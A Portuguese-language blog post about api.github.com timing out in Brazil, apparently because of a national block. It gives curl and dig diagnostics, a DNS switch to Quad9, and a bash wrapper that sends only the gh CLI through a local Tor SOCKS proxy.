&lt;p&gt;O &lt;a href="https://x.com/ayubio/status/2064878070394183955"target="_blank" rel="noopener"&gt;Ayub comentou no X&lt;/a&gt; que há todos os indícios típicos de bloqueio nacional determinado pela Anatel contra &lt;code&gt;api.github.com&lt;/code&gt;. No mesmo contexto, o tweet citado por ele mostrava &lt;code&gt;api.github.com&lt;/code&gt; resolvendo para &lt;code&gt;4.228.31.149&lt;/code&gt;, mas sem rota funcionando. O autor dizia ter testado por VIVO, Claro e Oracle, e que só funcionava via VPN de Miami. Ou seja: não parece &amp;ldquo;meu Wi-Fi caiu&amp;rdquo;. Parece bloqueio no caminho.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Hoje apareceu um problema daqueles que parecem piada, mas não são: <code>api.github.com</code> começou a dar timeout no Brasil. O site <code>github.com</code> abre. Clonar via SSH pode continuar funcionando. Mas as ferramentas que dependem da API do GitHub, como <code>gh</code>, automações de CI, scripts pessoais, bots, CLIs, dashboards e tudo que consulta issues e pull requests, começam a travar.</p>
<p>O <a href="https://x.com/ayubio/status/2064878070394183955"target="_blank" rel="noopener">Ayub comentou no X</a> que há todos os indícios típicos de bloqueio nacional determinado pela Anatel contra <code>api.github.com</code>. No mesmo contexto, o tweet citado por ele mostrava <code>api.github.com</code> resolvendo para <code>4.228.31.149</code>, mas sem rota funcionando. O autor dizia ter testado por VIVO, Claro e Oracle, e que só funcionava via VPN de Miami. Ou seja: não parece &ldquo;meu Wi-Fi caiu&rdquo;. Parece bloqueio no caminho.</p>
<p>Segundo o Ayub, esse tipo de coisa costuma acontecer em ondas de bloqueios, muitas vezes em reuniões de quarta-feira com grandes operadoras, dentro desse mecanismo brasileiro de bloquear endereços sob pretexto de combater pirataria. O problema é o efeito colateral: em vez de derrubar só o alvo, derruba pedaço legítimo de infraestrutura. Hoje foi a API do GitHub. Amanhã pode ser qualquer outra coisa que seu trabalho depende.</p>
<p>E sim, eu confirmei daqui.</p>
<h2>Como saber se você foi afetado<span class="hx:absolute hx:-mt-20" id="como-saber-se-você-foi-afetado"></span>
    <a href="#como-saber-se-voc%c3%aa-foi-afetado" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Primeiro, teste se o site principal abre:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">curl -4 -I --connect-timeout <span class="m">8</span> --max-time <span class="m">12</span> https://github.com/</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Aqui funcionou. Depois teste a API:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">curl -4 -I --connect-timeout <span class="m">8</span> --max-time <span class="m">12</span> https://api.github.com/</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Aqui deu:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">curl: (28) Connection timed out after 8002 milliseconds</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Agora veja pra qual IP seu sistema está resolvendo:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">getent ahostsv4 api.github.com</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>No meu caso:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">4.228.31.149    STREAM api.github.com
</span></span><span class="line"><span class="cl">4.228.31.149    DGRAM
</span></span><span class="line"><span class="cl">4.228.31.149    RAW</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E o <code>gh</code> também depende dessa API. Então comandos como estes podem travar:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">gh api rate_limit
</span></span><span class="line"><span class="cl">gh pr list
</span></span><span class="line"><span class="cl">gh issue list</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Se você é desenvolvedor e de repente <code>gh</code> parou, seus scripts de release pararam, seu bot que lista PRs parou, ou aquele CLI que consulta issues começou a ficar pendurado, pode ser isso. Não é bug seu. É a sua rota até <code>api.github.com</code> sendo jogada no buraco.</p>
<h2>Primeiro tente DNS 9.9.9.9<span class="hx:absolute hx:-mt-20" id="primeiro-tente-dns-9999"></span>
    <a href="#primeiro-tente-dns-9999" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Algumas pessoas comentaram que trocar o DNS para <a href="https://www.quad9.net/"target="_blank" rel="noopener">Quad9</a>, <code>9.9.9.9</code>, poderia contornar. Faz sentido testar, porque alguns bloqueios são feitos via DNS: o provedor responde um IP errado, NXDOMAIN, ou manda para um buraco. Se o problema for só o DNS do seu provedor, trocar de DNS resolve.</p>
<p>Teste sem mudar nada no sistema:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">dig @9.9.9.9 +short api.github.com A</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>No meu caso, não resolveu. O Quad9 também retornou:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">4.228.31.149</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E forçar esse IP no <code>curl</code> continuou dando timeout:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">curl -4 -I --connect-timeout <span class="m">8</span> --max-time <span class="m">12</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">  --resolve api.github.com:443:4.228.31.149 <span class="se">\
</span></span></span><span class="line"><span class="cl">  https://api.github.com/</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Resultado:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">curl: (28) Connection timed out after 8002 milliseconds</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Então, no meu link, 9.9.9.9 não resolveu. Mas teste no seu. Se o seu provedor está apenas envenenando DNS, pode funcionar.</p>
<p>No Arch com NetworkManager, seria algo assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo pacman -S bind-tools curl
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">nmcli con show --active
</span></span><span class="line"><span class="cl">sudo nmcli con mod <span class="s2">&#34;NOME DA SUA CONEXÃO&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">  ipv4.ignore-auto-dns yes <span class="se">\
</span></span></span><span class="line"><span class="cl">  ipv4.dns <span class="s2">&#34;9.9.9.9 149.112.112.112&#34;</span>
</span></span><span class="line"><span class="cl">sudo nmcli con down <span class="s2">&#34;NOME DA SUA CONEXÃO&#34;</span>
</span></span><span class="line"><span class="cl">sudo nmcli con up <span class="s2">&#34;NOME DA SUA CONEXÃO&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>No Ubuntu, a ideia é a mesma. Instale as ferramentas e ajuste pelo NetworkManager:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo apt install dnsutils curl
</span></span><span class="line"><span class="cl">nmcli con show --active</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Ou use a tela de rede do GNOME/KDE e coloque DNS manual <code>9.9.9.9</code> e <code>149.112.112.112</code> na conexão. Depois desconecte e conecte de novo.</p>
<p>Teste de novo:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">dig +short api.github.com A
</span></span><span class="line"><span class="cl">curl -4 -I --connect-timeout <span class="m">8</span> --max-time <span class="m">12</span> https://api.github.com/</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Se funcionar, ótimo. Você terminou aqui.</p>
<p>Se continuar dando timeout, o bloqueio não está só no DNS. Aí precisa rotear a conexão por outro caminho.</p>
<h2>Por que eu não gosto da gambiarra de IP fixo<span class="hx:absolute hx:-mt-20" id="por-que-eu-não-gosto-da-gambiarra-de-ip-fixo"></span>
    <a href="#por-que-eu-n%c3%a3o-gosto-da-gambiarra-de-ip-fixo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Outra sugestão que vi foi colocar IPs manualmente no DNS local, tipo Pi-hole, Unbound, <code>/etc/hosts</code>, dnsmasq, essas coisas. Exemplo: &ldquo;resolve <code>api.github.com</code> pra tal IP que funciona&rdquo;.</p>
<p>Isso pode funcionar por algumas horas. Eu não gosto.</p>
<p>GitHub é infraestrutura grande. IP muda. Rota muda. Balanceamento muda. Região muda. O IP que funciona pra uma pessoa em Miami pode ser ruim pra você em São Paulo. O IP que funciona hoje pode cair amanhã. E se o bloqueio for por rota blackhole no provedor, trocar DNS para outro IP pode só trocar um buraco por outro.</p>
<p>Pi-hole é ótimo pra rede doméstica. Unbound é ótimo. <code>/etc/hosts</code> salva em emergência. Mas fixar IP de serviço grande como GitHub é pedir pra esquecer uma gambiarra invisível e perder duas horas daqui a um mês tentando entender por que só a sua máquina não funciona.</p>
<p>Use DNS alternativo como teste. Use IP fixo só como curativo temporário e documente onde mexeu.</p>
<h2>Fallback: proxy SOCKS só para ferramentas do GitHub<span class="hx:absolute hx:-mt-20" id="fallback-proxy-socks-só-para-ferramentas-do-github"></span>
    <a href="#fallback-proxy-socks-s%c3%b3-para-ferramentas-do-github" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Minha solução foi fazer o mínimo invasivo: um wrapper que sobe um SOCKS local via Tor e executa só o comando que eu quero por ele. Não roteia o sistema inteiro. Não mexe no navegador. Não altera pacote, Steam, banco, nada. Só <code>gh</code>, ou qualquer ferramenta que eu chamar explicitamente.</p>
<p>No meu caso, o wrapper está em <code>~/.config/zsh/bin/github-proxy</code> e o alias em <code>~/.config/zsh/aliases</code> faz:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">alias</span> <span class="nv">gh</span><span class="o">=</span><span class="s1">&#39;$HOME/.config/zsh/bin/github-proxy gh&#39;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O wrapper é este:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl"><span class="nb">set</span> -euo pipefail
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">proxy_host</span><span class="o">=</span><span class="s2">&#34;127.0.0.1&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">proxy_port</span><span class="o">=</span><span class="s2">&#34;9050&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">tor_dir</span><span class="o">=</span><span class="s2">&#34;</span><span class="si">${</span><span class="nv">XDG_RUNTIME_DIR</span><span class="k">:-</span><span class="p">/tmp</span><span class="si">}</span><span class="s2">/github-proxy-tor&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">tor_rc</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$tor_dir</span><span class="s2">/torrc&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">tor_log</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$tor_dir</span><span class="s2">/tor.log&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[[</span> <span class="nv">$#</span> -eq <span class="m">0</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;usage: github-proxy &lt;command&gt; [args...]&#34;</span> &gt;<span class="p">&amp;</span><span class="m">2</span>
</span></span><span class="line"><span class="cl">  <span class="nb">exit</span> <span class="m">2</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> ! ss -ltn <span class="s2">&#34;sport = :</span><span class="nv">$proxy_port</span><span class="s2">&#34;</span> <span class="p">|</span> grep -q <span class="s2">&#34;</span><span class="nv">$proxy_host</span><span class="s2">:</span><span class="nv">$proxy_port</span><span class="s2">&#34;</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  mkdir -p <span class="s2">&#34;</span><span class="nv">$tor_dir</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">  : &gt;<span class="s2">&#34;</span><span class="nv">$tor_rc</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">  tor -f <span class="s2">&#34;</span><span class="nv">$tor_rc</span><span class="s2">&#34;</span> --SocksPort <span class="s2">&#34;</span><span class="nv">$proxy_host</span><span class="s2">:</span><span class="nv">$proxy_port</span><span class="s2">&#34;</span> --DataDirectory <span class="s2">&#34;</span><span class="nv">$tor_dir</span><span class="s2">/data&#34;</span> &gt;<span class="s2">&#34;</span><span class="nv">$tor_log</span><span class="s2">&#34;</span> 2&gt;<span class="p">&amp;</span><span class="m">1</span> <span class="p">&amp;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">for</span> _ in <span class="o">{</span>1..60<span class="o">}</span><span class="p">;</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> grep -q <span class="s1">&#39;Bootstrapped 100%&#39;</span> <span class="s2">&#34;</span><span class="nv">$tor_log</span><span class="s2">&#34;</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">      <span class="nb">break</span>
</span></span><span class="line"><span class="cl">    <span class="k">fi</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> ! <span class="nb">kill</span> -0 <span class="s2">&#34;</span><span class="nv">$!</span><span class="s2">&#34;</span> 2&gt;/dev/null<span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">      <span class="nb">echo</span> <span class="s2">&#34;github-proxy: tor exited before bootstrap; see </span><span class="nv">$tor_log</span><span class="s2">&#34;</span> &gt;<span class="p">&amp;</span><span class="m">2</span>
</span></span><span class="line"><span class="cl">      <span class="nb">exit</span> <span class="m">1</span>
</span></span><span class="line"><span class="cl">    <span class="k">fi</span>
</span></span><span class="line"><span class="cl">    sleep <span class="m">1</span>
</span></span><span class="line"><span class="cl">  <span class="k">done</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> ! grep -q <span class="s1">&#39;Bootstrapped 100%&#39;</span> <span class="s2">&#34;</span><span class="nv">$tor_log</span><span class="s2">&#34;</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">    <span class="nb">echo</span> <span class="s2">&#34;github-proxy: timed out waiting for tor bootstrap; see </span><span class="nv">$tor_log</span><span class="s2">&#34;</span> &gt;<span class="p">&amp;</span><span class="m">2</span>
</span></span><span class="line"><span class="cl">    <span class="nb">exit</span> <span class="m">1</span>
</span></span><span class="line"><span class="cl">  <span class="k">fi</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">export</span> <span class="nv">HTTPS_PROXY</span><span class="o">=</span><span class="s2">&#34;socks5h://</span><span class="nv">$proxy_host</span><span class="s2">:</span><span class="nv">$proxy_port</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">export</span> <span class="nv">HTTP_PROXY</span><span class="o">=</span><span class="s2">&#34;socks5h://</span><span class="nv">$proxy_host</span><span class="s2">:</span><span class="nv">$proxy_port</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">export</span> <span class="nv">ALL_PROXY</span><span class="o">=</span><span class="s2">&#34;socks5h://</span><span class="nv">$proxy_host</span><span class="s2">:</span><span class="nv">$proxy_port</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">exec</span> <span class="s2">&#34;</span><span class="nv">$@</span><span class="s2">&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Repare no <code>socks5h</code>. Esse <code>h</code> importa. Ele faz a resolução DNS pelo proxy, não pela sua rede local. Se você usa <code>socks5://</code> normal, dependendo da biblioteca, o DNS ainda pode acontecer localmente antes de passar pelo proxy. Com <code>socks5h://</code>, a ideia é: &ldquo;leva o hostname até o outro lado e resolve lá&rdquo;.</p>
